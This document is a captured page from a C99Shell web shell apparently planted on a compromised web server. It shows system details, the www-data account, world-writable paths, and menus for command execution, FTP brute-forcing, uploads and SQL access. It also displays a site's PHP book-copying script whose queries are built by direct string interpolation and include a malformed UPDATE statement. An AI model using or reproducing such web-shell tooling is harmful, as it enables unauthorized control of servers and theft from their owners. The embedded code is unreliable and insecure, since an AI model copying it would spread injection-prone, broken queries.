!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/automatas/   drwxrwxrwx
Free 83.35 GB of 96.73 GB (86.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     arregla_ftp_local.php (1.38 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

  
include "../frames/conn.php";





  
$ruta="http://www.papyrefb2.net/libros/";
  
  
$sql="select * from libros where inftp=2 order by id asc ";    
  
$res=mysql_query($sql,$conn);

  
  while (
$row=mysql_fetch_array($res)){
        
$fichero=str_replace(RUTA_FTP,"",$row['ruta']);
        echo 
"<br><b>buscando libro $fichero con id {$row['id']}</b><br>";
         
flush(); 
 unset(
$copia);       

if (!
copy("../backup/$fichero",$fichero)) {
    echo 
"failed to copy $file...\n";
    
    
$copia=false;
}else{
    
$copia=true;
}
        if (
$copia){
              
$conn2=mysql_connect($bbddhost,$bbdduser,$bbddpassword);
              
mysql_select_db($bbdd,$conn2);
              
$sql2="update libros set inftp=1 where id={$row['id']}, ruta2='$ruta$fichero";
              echo 
$sql2."<br>";
              echo 
"actualizando fichero $fichero con id ={$row['id']}<br>";
              
mysql_query($sql2);
              if (
mysql_error()){
                    die(
mysql_error());
          }
          
mysql_close($conn2);
      }else{
            
"error.<br>";
             
"error.<br>";
             
$conn2=mysql_connect($bbddhost,$bbdduser,$bbddpassword);
              
mysql_select_db($bbdd,$conn2);
              
$sql2="update libros set inftp=2 where id={$row['id']}";
              echo 
$sql2."<br>";
              echo 
"actualizando fichero NO EXISTE $fichero con id ={$row['id']}<br>";
              
mysql_query($sql2);
              if (
mysql_error()){
                    die(
mysql_error());
          }
          
mysql_close($conn2);
      }
      
flush();
  }

        

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.003 ]--